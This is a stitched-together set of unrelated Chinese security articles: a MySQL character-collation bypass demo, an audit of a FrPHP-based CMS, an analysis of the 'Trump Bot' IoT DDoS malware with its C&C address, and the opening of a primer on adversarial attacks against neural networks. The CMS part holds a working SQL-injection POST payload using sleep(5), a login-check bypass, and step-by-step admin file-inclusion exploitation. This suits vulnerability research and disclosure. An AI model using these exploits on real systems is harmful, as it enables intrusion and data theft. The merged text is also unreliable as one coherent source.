5.5.3起，增加了对utf8mb4字符集的支持，每个字符使用最多4个字节，从而支持完整的UTF-8字符集。因此，如果使用MySQL
5.5.3或更高版本，一般设置编码为utf8mb4而不是UTF-8。
以上便是关于MYSQL的UTF-8编码的简介。
**3.2 MYSQL的字符差异问题**
实际上这个在HITCON
2016的babytrick题目最后用到了这个，但是可能相对来说更关注__wakeup失效的漏洞了，关于最后的绕过的解释很多WP都把原因归为这里PHP不是UTF-8，而对应的MYSQL执行了mysql_query("SET
names utf8")操作，所以产生的MYSQL字符差异。
但是就通过上述关于PHP内部编码的分析，我们可以知道，其实这里和PHP内部编码没有关系的，而且题目并没有明确的地方有说明PHP的编码方式。但是问题关键还是在这个问题上，无论PHP是什么编码，根据之前的分析，都不会影响到MYSQL。这样光说也说不清出，直接看下面的例子：
<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if(stripos($_GET['name'],'bendawang')!==false){
$name = 'GET OUT!';
}
else{
$name=$_GET['name'];
}
$sql = "select * from admin where username='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
echo '<h1>Success!</h1>';
print_r(mysql_fetch_array($result));
}
else{
echo "GET OUT!";
}
?>
这是admin的表结构 ：
我们通过某种方式提前知道了admin表里面有一条记录的username字段值为Bendawang，但是我们要想办法绕过stripos的检测。
先试一试如下：
果然不行，那么我们试试这个。
发现成功绕过并且得到结果了。
那么这是什么原因呢？真的是因为PHP和MYSQL的编码方式的差异吗？
此时，我们可以查看下此时执行的mysql日志
能够看出实际上PHP还是把 À（ utf-8 bytes为 %C3%80
）传过去了，所以说实际上这里和PHP的编码并没有关系，那么也就是说这个就只是单纯的mysql的内部的问题。
我们再换一种验证方式。 现在，我们清空admin表再往表里插上这样两条数据如下：
insert into admin values(unhex('62656E646177616E67'),'1'),(unhex('62656E64C38077616E67'),'2');
其中
unhex('62656E646177616E67')=bendawang
unhex('62656E64C38077616E67')=bendÀwang
插入完成后如下图：
现在我么来执行这么几条指令来观察下：
不知道大家看出蹊跷来没有，在查询的时候mysql默认 bendawang 和 bendÀwang 是等效的，但是如果真的相比较却又是不同的。
就好比PHP的弱类型比较一样，也可以理解为MYSQL一种牺牲安全性的人性化设计，考虑到不同国家的编码方式不一样。
就好比你在浏览器里面输入
[http://www。baidu。com](https://publish.adlab.corp.qihoo.net:8360/contribute/edit?id=2457)
仍然可以访问到[http://www.baidu.com](http://www.baidu.com/)一样。
所以这里只是mysql单方面的问题。
然后我总结了一下可以这样利用的MYSQL字符。如下（重复就没有整理了）：
À | a
---|---
Ç | c
È | e
Ì | i
Ñ | n
Ò | o
Š | s
Ù | u
ý | y
Ž | z
**3.3 补充**
最后还要说明下我们在刚开始插入数据的时候执行的语句是
insert into admin values(unhex('62656E646177616E67'),'1'),(unhex('62656E64C38077616E67'),'2');
但为什么不执行下面这个语句呢？
insert into admin values('bendawang','1'),('bendÀwang','2')
因为我的演示环境的windows下的mysql的shell环境，对于不识别的字符统统换成问号 ?(0x3F)，也就是说我们所输入的 À 就不再是
%C3%80 了。如下：
但是如果换成linux下的mysql的shell环境就可以用第二种插入方式，因为linux下mysql的shell默认是utf-8的编码，如下：
这也是编码方式的问题。
**
**
**0x04 参考资料**
[http://kunststube.net/encoding/ ](http://kunststube.net/encoding/)
[http://www.i18nqa.com/debug/utf8-debug.html
](http://kunststube.net/encoding/)
[http://stackoverflow.com/questions/7861358/strange-characters-in-database-text-%C3%83-%C3%83-%C2%A2-%C3%A2-%E2%82%AC
](http://stackoverflow.com/questions/7861358/strange-characters-in-database-text-%C3%83-%C3%83-%C2%A2-%C3%A2-%E2%82%AC)
[https://vigilance.fr/vulnerability/MySQL-SQL-injection-via-multi-byte-characters-5885](http://stackoverflow.com/questions/7861358/strange-characters-in-database-text-%C3%83-%C3%83-%C2%A2-%C3%A2-%E2%82%AC) | 社区文章 |
# 前言
本文分为通读部分 和 漏洞部分 通读部分个人感觉写的还不怎么完善,师傅们见谅，可以直接跳到后面的漏洞部分看：）
# 通读部分
## 序
这是一个简单的MVC架构的CMS，开发者使用了他自己开发的一套框架—FrPHP
* 大致目录结构
A：存放后台的控制器 模板 插件等
Home：同上，存放的用户相关的控制器和模板文件
Conf：配置文件目录
Frphp MVC框架目录
其他的要么里面没啥，要么一看就知道的
## Index.php
定义了一些常量然后包含了 FrPHP框架中的Fr.php 跟进
可见其定义了一个FrPHP类（25行）然后包含了 config.php
我们继续跟进看看config.php里面有什么 数据库连接的配置文件（这边是我安装完之后的源码）
我们继续回到刚才的FrPHP类 看看构造函数
又是定义了一堆常量。这边大多数常量都能看名字知道个大概。我们用动态调试跑一下看看常量具体值。
具体就是这些
这边59-71行(Fr.php)对一些文件进行了包含。我们继续跟进。
/common/Functions.php
这里引入了FrPHP框架的公共函数库
/CONF/Functions.php
这边引入了项目的公共函数库(主要是一些CMS功能上的函数)
然后遍历/Extend 扩展目录 如果存在文件名称含有”.php“的文件 就包含它。
Arraypage / page 主要是和内容分页相关的函数
compressimage主要和图片处理有关的函数
DatabaseTool 主要和数据库操作有关
DB_API也差不多
FrSession 重写了session 把session存到了redis中
pinyin 是汉字转拼音的
vercode是验证码相关的
还有二维码，phpmailer 阿里，微信支付等杂七杂八的
然后检测缓存文件夹是否存在 不存在就创建
这边 FrPHP的构造函数部分就结束了 然后回到它的RUN方法
90行设置数据库配置
此处没有数据就会给出报错，引导进入安装程序。
这边说到安装就顺便插播下安装这边
开头检测lock文件 否则exit() ，那这边就没有重装漏洞了
这边通过act参数来确定安装步骤
值得注意的是act为testdb这边 是存在sql注入的 不过前提是得找一个任意文件删除的漏洞来把lock文件删掉。。
回到上文
91行检测开发环境
主要是修改报错和cookie的httponly之类的相关配置
92行去除掉字符转义 ，后面作者定义了专门处理接受数据的函数
## 路由分析
94行开始路由
首先判断是否有开启redis存session的功能 ,有就使用。
下面主要是判断请求有没有session_id没有就给客户端设置一个
131-135行
获取指定要访问的页面，这边对url做了个url解码
我们动态调试下看看参数是啥
<http://10.2.91.245/index.php?XDEBUG_SESSION_START=10062>
137行开始从缓存中读取系统配置，没有就去数据库里找（M（’sysconfig’）→findAll()）
我们看写下getCache函数
传入$str 经过 `$s = *md5*(*md5*($str.'frphp'.$str));` 拼接变成缓存的文件名
然后639行拼接路径 640行检测缓存文件是否存在
643-646检测文件时间 获取缓存内容 之后判断缓存时间是否超时 超时就删掉 不超时就返回
回到上文路由处理，首先会从缓存中获取配置
没获取到缓存文件就从数据库中找 找到后设置缓存。 获取到了就从缓存中读取。
然后判断是否设置了wap 为1 默认为0
然后对$url（$_SERVERS['REQUEST_URI']）进行替换 路由到wap页面
继续往下走
这边开始引入自定义路由 先设置了个route_ok变量为false
这边先判断 open_url_route是否为真 这个常量是一开始构造函数中获取一大堆常量的的地方获取的
为1
随后包含了Conf/route.php文件将返回值传给$open_url_route 我们跟进去看看，返回了路由匹配规则这边配合注释看
return [
/**
['正则url','系统内真实链接','传输方式POST/GET,或者为空,则表示POST/GET都接收']
如果有多条匹配，默认第一条有效
demo：
['/\/base\/([0-9]+)\.html$/','Home/test/id/$1','GET'],
['/\/xbase\/([0-9]+)\/(\w+)\.html$/','Home/test/id/$1/sq/$2','POST'],
['/\/test_([0-9]+)\.html$/','Home/test/id/$1','GET'],
['/\/abc\.html$/','/shangpin.html',''],
**/
//以下规则不可删除，否则会报错！
//http://demo.xxxxcms.cn/Home/screen/molds/product/categories/3
['/^\/screen-(\w+)-([0-9]+)-(.*)/','Screen/index/molds/$1/tid/$2/jz_screen/$3',''],
['/^\/searchAll(.*)/','Home/searchAll','GET'],
['/^\/search(.*)/','Home/search','GET'],
];
然后遍历$open_url_route 进行匹配
如果$url($SERVERS['REQUEST_URI'])匹配到了数组中的第一个项目中的正则 就把结果返回到$matches变量里面
然后将$url变量置为数组中的第二项（即系统内的真实连接）$method变量赋值为数组中的第三项（即传输方式）如果匹配到了之前$open_url_route
返回的三个数组中的任意一个 那么$route_ok将会变为真 然后退出循环
我们看下变量情况
随后如果匹配到了 就会对$url变量中的$1 $2 等进行替换。
不过我们正常访问时是没有触发上述匹配规则的 暂时不看 我们继续往下走
第18行
$position = strpos($url,'?');
if($position!==false){
$param = substr($url,$position+1);
parse_str($param,$_GET);
}
这边显然是对请求url进行分割获取?后面的内容 是一个提取参数的过程 然后用 _`parse_str`_
函数把查询到的字符串解析到变量数组$_GET里面
然后继续往下走 程序开始去除二级目录 过滤$url字符 将过滤后的$URL 定义到常量里面
设置默认的控制器（HOME） 和方法（jizhi） 获取模板 并加入常量
我们跟进看看format_param.这边很显然 通过传入值 和过滤类型来对字符串进行指定过滤，过滤其实还是蛮严格的
function format_param($value=null,$int=0,$default=false){
if($value==null){ return '';}
if($value===false && $default!==false){ return $default;}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value = SafeFilter($value);
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return trim($value);
}
}
其中传入1时还会再进行个SafeFilter
跟进查看
这边显然是对xss和xml非法字符的过滤 字符串若被匹配到 就会替换为空。可以双写绕过
//过滤XSS攻击
function SafeFilter($arr)
$ra=Array('/([\x00-\x08])/','/([\x0b-\x0c])/','/([\x0e-\x19])/','/script(.*)script/','/javascript(.*)javascript/');
$arr = preg_replace($ra,'',$arr);
return $arr;
继续回到路由那边，我们进入get_template()看看
首先获取网站配置 然后检测是否安装插件（ _`if_ ($webconf['isopenwebsite'])`）
随后判断是否是手机版 不是就返回（`$webconf['pc_template'];`）默认为 default
回到路由
获取到模板后将其设为常量
后面的内容作者也有许多注解,主要是对url做一些字符串处理，提取出其中的相关内容（要访问的控制器，访问的方法名之类的）
这边将从url中提取到的控制器名 方法名存入到$controllerName $actionName变量之中
继续往后看 作者这边注释的是判断插件中是否有对应的控制器和方法
通过 252行 将路径拼接 然后检测是否存在相应的类 和方法（253行）
如果不存在就从系统默认的控制器里面找（257行往后），如果还找不到就设置为默认的控制器和默认方法
随后将控制器名 方法名 放到常量里面
随后将get post 来的参数传到$param变量中
随后从数据库中调取 hookconfig
(如果有配置的话)如果有就实例化config中对应的类调用类方法并传入$param参数，用于外部参数传入控制器前进行对$param的自定义修改。
随后实例化要调用的的控制器类 调用类方法 传入$param（存放着GET POST获得的数据）变量
这边实例化类时传入了$param 调用类方法的时候也传入了$param
**我们先看实例化的类 每个控制器的父类Controller**
构造函数接受一个参数$param （之前实例化控制器类时传入了$param变量 用在此处）
把$param传给类 _data的属性
_data 这个变量会在 frparam()方法中调用（commonControler），该方法也是后面各个控制器中获取过滤后数据的方式。
frparam方法 如果不传值 那么将会返回原始数据（69行）
如果传值那么数据最终将进入format_param方法，前文也提到过，经过此方法会对数据进行安全过滤。
接着我们看另一个传参方式，直接把未经过过滤的参数$param丢到类方法里去了
$dispatch->$actionName($param);
所以这边理论上只要找到控制器里有接收参数的方法函数能传入不安全的数据。
至此，路由过程结束。
## 控制器
控制器的结构大概为
Controller 父控制器—>(继承) commonControler(二级控制器，主要用于鉴权的)—>(继承) AdminController
...... 各种功能控制器
### Controller
主控制器
前面29-31行 将相关的控制器名 方法名 传入参数赋值给控制器的属性
然后实例化一个视图类（View）供渲染用然后调用_init()方法
__set()魔术方法，这个主要是渲染模板的时候用的
> __set( $property, $value )` 方法用来设置私有属性，
> 给一个未定义的属性赋值时，此方法会被触发，传递的参数是被设置的属性名和值。
display()用来调用render渲染 后面的渲染器会说
frparam()
用来接收参数的 这个上面说过。
### CommonController （admin）
继承自Controller 普通用户和admin用户各一个 CommonController 用来鉴权的主要是。
首先看admin的部分 放在了_init()里面,从刚才的父类看，每次调用控制器都会执行这边的。
通过判断session里面是否设置了admin键 或 看session[’admin’]里面设置的id是否为0等条件判断是否登录
符合就跳到登录
通过对session[’admin’][’paction’]等内容进行判断，用于对单个功能的权限的判断
### CommonController (user)
这个是用户控制器的一个鉴权流程。这边注意到45行只要SESSION里面设置了memeber
46行就将其状态islogin设置成了true。这个后面的注入漏洞会用到这个来绕过登陆限制。
### 普通的控制器
要有用户权限的控制器就继承各自的commonController，不要鉴权的直接继承Controller.
直接继承Controller的还需要再写个_init函数补全配置 模板等相关信息（原本应该commoncontroller里面做的）
## 渲染器
类 View
下面是作者给出的每个函数的大致作用，下面逐个细看。
渲染器对象会在Conttroller中实例化，供后面控制器调用
构造函数需要传入控制器名，方法名并全部取小写
### assign()
一个赋值的。
Controller 下的一个魔术方法 **set()会调用这个函数。当调用类的新的属性时就会调用** set魔术方法
例如
demoController （extends Controller ）
$this->abcd = "123"
这个时候就会调用__set然后再调用assign传进模板类里的$variables 变量里面供后面使用
public function assign($name, $value)
{
$this->variables[$name] = $value;
}
这个具体干啥后面会说
### render()
传参一个 $name变量 从后面的路径拼接可以看出来这边是模板文件的文件名。如果$name中含有@标识，那么就不会进行拼接 只会把@去掉
然后检测模板文件是否存在 存在就送到template()函数里面去。
### template()
该函数用来解析模板
80行extract函数将`$this->variables` 中的保存对键值对转存为 变量(变量名⇒值)
供后面包含文件时填掉模板文件里面的变量。这边就是刚才谈assign的作用，将变量存到variables 中
供有些模板（严格来说是缓存，缓存时模板将自定义标签替换成php文件后的样子）中的php变量用。通过代码最后的 include就能把这些变量传到模板里去了。
后面预先定义一个缓存文件名 然后来两个if判断 一个是判断是否是debug模式 该模式下每次都会重新写入缓存文件 。第二个判断
如果检测不到缓存文件，就写入缓存文件 然后187行再做一遍检测看之前的写入有没有成功，没成功则报错。最后112行进行包含模板文件的操作。
我们回到上面写入缓存文件的步骤详细看看。
if(APP_DEBUG===true){
$fp_tp=@fopen($controllerLayout,"r"); //打开模板文件
$fp_txt=@fread($fp_tp,filesize($controllerLayout)); //读取模板内容
@fclose($fp_tp);
$fp_txt=$this->template_html($fp_txt); //把模板内容传入template_html()函数
$fp_txt = "<?php if (!defined('CORE_PATH')) exit();?>".$fp_txt;
$fpt_tpl=@fopen($cache_file,"w");//写入缓存文件
@fwrite($fpt_tpl,$fp_txt);
@fclose($fpt_tpl);
### template_html()
这里面对定义的模板文件标签进行替换成php代码
随便找个模板文件看下就大致明白了
剩下的也没啥了
`template_html_include` 用来解析模板里有包含文件就调用这个
`check_template_er` 检查标签是否错误的，这边报错会泄露绝对路径，不过要改模板得后台配合跨目录上传才行所以这边也没啥用
还有个 `template_html_screen` 用来列举内容的 反正我没看懂。。。。
渲染器部分大概就说到这
## 模型（Model）
控制器中实例化模型类用M（）来操作。然后在调用模型类下的各种数据操作方法 Find Delete 等
调用模型类时会首先去Home(Admin)文件夹下的m文件夹下找模型类（如果用户定义了的话）没有则实例化`FrPHP\lib\\Model` 的一个单例类
Model类
这边的数据操作方法基本都会调用预处理的函数 来获得要操作表中定义了的字段名，然后删除掉$row中的无关项，防止$row中的无关字段被带入
# 漏洞部分
### 前台SQL注入1
程序在接受参数实例化控制器调用控制器方法时关于接受外部传参有两种
一种时实例化类时传入
$dispatch = new $controller($param);
然后将变量变为类属性 this->_data
而后通过自定义的 frparam()方法获取过滤后的安全参数
还有一种就是当方法需要传参时直接将参数传入
$dispatch->$actionName($param);
此种传参方法没有经过过滤。
所以只要找到前台控制器中 有形参的方法，且存在SQL语句执行的方法即可造成SQL注入
位置 Home/c/Homecontroller murl（）
可见ID传入后未经过过滤带入SQL语句执行造成注入
同理 其他控制器中也存在同样的问题
A/c/indexcontroller murl()
代码同上一样
A/c/indexcontroller html_classtype()
A/c/indexcontroller html_molds()
同时部分方法若只在类中调用请设置为私有方法
### 前台SQL注入2
漏洞存在点
HOME/c/commentcontroller
代码段
frparam()函数为接受任何参数，默认返回未经过转义的字符串
116行带入数据库进行INSERT操作
54-116行之间对$w数组中的传参重新使用frparam过滤，覆盖$w变量之前未经转义的数据然后将$w数组带入add（）中操作jz_comment的数据库
add()在执行前会先进行预处理 将jz_comment表中的字段与$w数组中的键名进行对比，若不在字段范围内则删除$w中的值。然后带入数据库执行SQL语句
此处未考虑到外部可以传入未对参数进行frparam（）转义 而表jz_comment中存在的字段名 id
此时传入id则不会受转义 过滤影响 导致sql注入
poc（注：每次传入时 图中8113处对于ID字段值 该值为不允许重复，每次使用需更换）
POST /comment/index.html HTTP/1.1
Host: 10.2.101.24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2krod2hbsn95ka3b2hdpfreoh2;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
go=1&body=123123&tid=1&zid=0&pid=0&id=2313','1','0','0','0','123123','1637579899','2','0','1','0');select sleep(5)#;
由于该控制器继承的类在构造时会检测用户登录状态 同时调用时也会判断当前用户是否登录，有些站点可能没开前台用户注册 所以此时要配合前台用户登录检测绕过
### 前台用户登录检测绕过
位置 A/c/LoginController.php
由于普通用户用于检测登陆状态的控制器检测方法简单加上通过验证码可以自定义存储session的键名 所以绕过了用户登陆状态的检测
位于验证码模块处
追踪Imagecode
此处的传入值可以自定义session的键名
查看commonController类
这边仅仅检测了session中是否有member键名 最终造成了绕过了上文SQL注入时需要登录的限制。
### 后台文件包含1
linux系统没复现成功
利用点：Home/c/MessageController.php
渲染模板时变量可控
此处的$detailhtml 可以通过后台→扩展管理→模型管理 找到模型标识为message的模型 点击编辑
追踪display函数
当传入的模板文件没有 @字符时 默认在结尾加上html 当存在@字符时则不添加后缀。
然后传入template函数进行渲染
将内容写入缓存 使用template_html解析标签后再进行了包含
由于整个流程没有对传入参数进行检测过滤 可以上传一个图片 然后再利用该处进行包含执行任意代码。
再回到details() 要想触发渲染有一个前提 得有一条知道ID的留言 然后再请求时加上ID为参数可以触发渲染。
渲染前有个判断tid的如果$msg[tid]等于下图自定义栏目的id时就调用自定义栏目的模板传入渲染
留言时不放心可以把tid调大点就行 。
利用：
前往系统设置→基本设置 开启留言自动审核
如果后台没有留言记录 就发一条留言
POST /message/index.html HTTP/1.1
Host: 10.2.85.245
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.2.101.24/admin.php/Index/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2krod2hbsn95ka3b2hdpfreoh2;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
tid=999&user=maple&title=maple&tel=17825232333&email=asdasdd%40qqq.com&body=maple
上传一个图片 前后台都可，保存路径都一样 我这边拿上传logo处进行的上传
返回路径
前往扩展设置的模型列表 把message的模型进行编辑
设置为刚才图片的相对路径 保存
@../../static/upload/2021/11/23/202111235399.png
去留言处找到刚才的留言 或者找个栏目属性下为空的留言 ID都行
然后前往留言查看
<http://ip/message/details.html?id=1>
配合SQL注入添加管理员后使用
## 后台文件包含2
这个操作起来更简单点，利用的是上传模板文件到任意路径。
更改文件上传目录-->上传文件到模板文件夹-->新建栏目并选择相应模板
高级设置 允许上传后缀添加html 后台上传路径改为Home/template/default/message
基本设置中上传Logo处上传一个html 内容为php代码
前往栏目设置 新增栏目 模块选择留言 扩展信息 栏目模板选择刚才的文件 填写相关必须项目创建
创建完成后操作中点击预览 即可 | 社区文章 |
作者: **启明星辰ADLab**
#### 一、分析简述
近期，启明星辰ADLab研究人员发现一款未知的僵尸程序，该僵尸会持续向目标主机发动 UDP 分布式拒绝服务( DDoS )攻击。不过，有趣的是该僵尸的
UDP 攻击流量并不是随机的，而是由大量重复的 `"trumpisdaddy"` 数据构成。
攻击流量包:"Trump is daddy"
黑客反常的以 `"Trump Is Daddy"` 作为攻击流量，似乎表明该黑客可能是川普的支持者。川普大力实施”美国优先”的政策使得很多支持者称川普为
`"Daddy OF USA"`，不过反对者通常愿意理解成为“老色鬼”（Daddy 的另外一层含义）。
通过我们对感染设备的取证分析发现，该僵尸是以 `"Trump"` 作为程序和进程的名称，并且 `"Trump"` 程序文件存放于
`"whitehouse"` 文件目录下(意指住在白宫中的川普)，因此我们将这个有趣的物联网僵尸命名为“川普僵尸（Trump Bot）”。
#### 二、川普僵尸的发现
启明星辰ADLab研究人员在为客户应急处理一台网络摄像头时发现，该摄像头会不断的扫描外部网络，并且根据扫描的网络流量数据判断该设备有可能感染上 Mirai
僵尸，因此决定对该设备进行取证分析。
通过设备取证工具我们进入到设备中，并且建立了可以远程访问的 shell，利用远程 shell
可以查看摄像头系统中的进程，并且从进程列表中发现了几个异常进程，如下：
进一步的分析确认这几个进程是 Mirai 僵尸的活动进程。由于 Mirai
僵尸启动执行后会更改自身进程名称，因此我们看到的进程名有一定的随机性。接下来我们在 MDT 分区中发现了 Mirai 僵尸的 Loader 模块
`"durGelper"` 文件，并且同时在 MDT 分区的 `"whitehouse"` 目录下发现了 Trump
僵尸程序，也就是说该摄像头同时感染上了两款僵尸程序。但我们知道，Mirai 本身是具有排他性的，一旦一个设备感染上了 Mirai
僵尸后，感染入口会被其关闭，之后其他的恶意代码就很难进入该设备。因此“川普僵尸”应该早于 Mirai 僵尸入侵到设备中，通过远程 shell
可以查看到这两个文件的落地时间。
可以看到 Mirai 感染时间是2016年11月17日，而“川普僵尸”的感染时间是同年的7月13日。同时，从上图中我们还可以看出该僵尸是以 "Trump"
命名并且存在于 MTD 分区的 `"whitehouse"` 目录下。
“川普僵尸”主要以感染物联网设备为主，尤其是摄像头、路由器等嵌入式设备。当前我们所发现的“川普僵尸”为 arm
平台的僵尸样本，目前未发现其他平台的该类僵尸。
由于 Mirai 具有干掉其他恶意代码的能力，所以“川普僵尸”的主体感染模块可能在 Mirai
感染时被强行干掉，使得被感染设备中只留下该僵尸程序的攻击模块文件。
#### 三、”川普僵尸”攻击模块逆向分析
我们取回的“川普僵尸”程序为僵尸的攻击模块，感染模块或者加载器已经消失，无法在设备中找到。“川普僵尸”攻击模块主要实现僵尸的上线及接受C&C服务器控制命令执行等功能，其中实现了两种类型的
DDoS 攻击功能：UDP 攻击和 HTTP 攻击。
“川普僵尸”程序执行时，首先就会在终端显示一行 "TRUMP IS DADDY\" 的信息。
接着僵尸便会连接 C&C 服务进行上线，上线 C&C(198.50.154.188:33369) 写死在恶意代码中。在僵尸程序中，通常固定 IP
地址和端口的模块都不属于常驻模块，而属于临时下发执行的模块，以防止 C&C
失效后而失去肉鸡。因而该僵尸应该还存在一个加载器用于下载该模块执行，黑客也可以通过加载器动态来下发该僵尸攻击模块，以此来动态变换 C&C 服务器。
如果连接成功，僵尸会向 C&C 服务器发送7个字节的上线数据包。
上线完成后，川普僵尸等候接收黑客的控制命令，伺机发动攻击。
“川普僵尸”程序可以连环接收多个控制命令进行攻击，每条控制命令通过换行符 `"\n"` 隔开，单个控制命令格式通过空格来将各个参数进行隔开。
僵尸程序将每条控制命令解析成为控制指令以及各种控制参数，通过分析发现这个僵尸支持4种类型控制指令，分别为：`"!urid"`、`"!rape"`、`"!exit"`、`"!webfuck"`。
通过分析我们将该僵尸的控制指令、控制指令格式以及控制功能列入下表：
该僵尸实现两种攻击方式：UDP FLOOD 和 HTTP FLOOD
###### 1）UDP FLOOD 攻击
当僵尸程序接收到黑客下发的 `"!urid"` 攻击指令后，便会通过控制参数来指定端口、攻击数据长度、攻击时间来对目标发动 UDP FLOOD 攻击。
攻击数据包是一堆重复的 `"trumpisdaddy"` 字符串，攻击包的长度是通过控制端下发的控制指令的参数指定的，内嵌在恶意代码中的攻击数据如下图：
以下为其中一个攻击数据包的内容：
###### 2） HTTP GET Flood 攻击
僵尸程序如果接收到 `"!webfuck"` 攻击指令，便会根据前两个控制参数来定制 HTTP GET 请求的 URL 和 Host，最后伪造 HTTP
包对目标发动攻击。值得注意的是，通过黑客指定 URL 来定制攻击数据，可以非常灵活的构造最优的攻击数据。我们知道，通过构造特殊的 URL
会极大的增加服务器资源的消耗，甚至对于解析URL存在漏洞的服务器还会直接导致服务假死等问题。所以对于黑客来说可以根据攻击目标服务器的特点来定制一些特殊的
URL 来发动攻击。而一般型僵尸的 HTTP 类 DDoS 攻击，都会将 URL 写死在代码中，不便于灵活配置。
#### 四、总结
通过以上分析我们可以看出，“川普僵尸”程序对目标提供了最直接有效的攻击功能，代码中并没有做过多的冗余工作。不像黑客产业链中商品化的攻击工具，为了吸引更多的黑客购买而提供非常全面且丰富多样的功能，可以初步断定该僵尸程序为一种未知类型的蠕虫程序的攻击模块并且是在有攻击需求时特别定制的。由于原始样本程序被
"Mirai" 僵尸所清除，所以目前无法从当前设备中找到 `"Trump Bot"` 的原始母体样本，启明星辰ADLab后续会持续对该僵尸进行跟踪。
威胁指标:
MD5:E6706149CB29A70497C23976C756547F
C&C:198.50.154.188:33369
上线指标:
payload_len=7&&pyload[0,7]="!getid\x0a"
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 深度神经网络障眼法（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在本系列文章中，我们会跟大家一起了解针对深度神经网络的障眼法，简单来说，就是对输入的数据（比如图片）稍作修改——这些修改可以非常细微，以至于修改后人眼都无法察觉，就能让深度神经网络产生错误的判断。如果正式一点的话，也可以叫做对抗性攻击。
在具体介绍这种障眼法之前，我们还有一些准备工作要做。因此，在本文中，我们首先将为读者介绍一些基本的概念，如什么是机器学习，什么是深度神经网络等，然后，我们将给出一个简单的深度学习模型，以便于我们练手。
## 机器学习
实际上，深度神经网络只是机器学习领域中目前非常流行的一个分支，现在已广泛用于图像处理、音频处理、视频处理等。那么，什么是机器学习呢？所谓机器学习，简单来说，就是在无需对数据模式背后的规则进行显式编码的情况下，让机器从数据中提取模式的各种技术。
为此，首先需要选择某种数学算法，然后，通过一组数据来优化该算法的行为，换句话说，就是通过每条数据（即样本）来调整该算法的参数，当这些参数调整到一定程度的时候，也就是其行为能够令我们满意的时候，算法就训练好了——经过充分训练的算法，就是我们“学到”的模型。所谓的训练过程，或者说是学习过程，简单来说就是用样本调整参数的过程。
正常情况下，模型训练好之后，还需要用另一组数据，也就是测试数据进行验证，看看模型能不能很好的处理没有见过的数据。当然，我们希望训练好的模型对于没见过的数据也具有良好的表现，也就是说，要具备良好的泛化能力。
为了便于理解，我们可以用一个例子做类比。假设我们有一车西瓜，就可以通过观察它们的外观特征（即训练数据，如颜色，形状，敲击声等），并切开各个西瓜，看看哪些是好瓜/坏瓜，然后总结经验（学习并生成模型）；当下次看到一个没切开的西瓜时，就可以通过经验来判断是不是好瓜了（运用模型去判断）。
另外，如果训练数据中，同时给出了特征数据（如颜色，形状，敲击声等）和标签数据（如好瓜或坏瓜），那么，这种训练方法通常称为监督式训练方法，这也是本系列文章中主要讨论的模型使用的训练方法。
## 深度学习
对于传统的机器学习方法来说，通常需要人工提取特征，如上面提到的西瓜的颜色，形状等，并形成结构化的数据。这是一个很大的局限性，一方面，人工提取特征通常需要一笔不菲的开销，另一方面，有时候提取特征具有很大的难度。而在人工智能领域，很多时候要处理的数据，都是直接来自现实世界中的非结构化的原始数据，如图像和音频等。拿图像举例来说，通常需要处理大量的像素值，并且，各个单独的像素本身之间，几乎没有明确的含义；而要理解图像的含义，则必须借助于像素之间复杂的空间关系。另外，音频则是由一系列随时间而变化的值来表示的，同样，如果单独拿出某个值来的话，很难听出什么门道。相反，这些值之间的顺序和距离，才是确定音频的含义的关键所在。
尽管传统的机器学习方法对于这些类型的数据无能为力，但是该领域的研究人员也不是省油的灯，经过几十年的折腾，并得益于近期计算能力和可用数据量的飞速发展，终于鼓捣出一类机器学习算法：深度学习。
那么，深度学习到底是个什么鬼？老实说，深度学习就是深度神经网络。那么，为啥不直接叫深度神经网络呢？说来话长，曾经有段时间，神经网络在学术界和工业界特别不受待见，虽然研究人员发现，经过改进训练方法后，模型的效果非常出色，但是，只要论文中带有“神经网络”这个词，肯定是没有机会发表的。所以，他们开始曲线救国，给它换了个叫法——深度学习。后来，媒体界的朋友们以为发明了新算法，也来推波助澜，所以，这个名字就慢慢叫开了。
说到这里，读者可能很好奇——深度神经网络到底长啥样呢？别急，下面将为大家展示一个最简单的深度神经网络：
图1 深度神经网络示意图
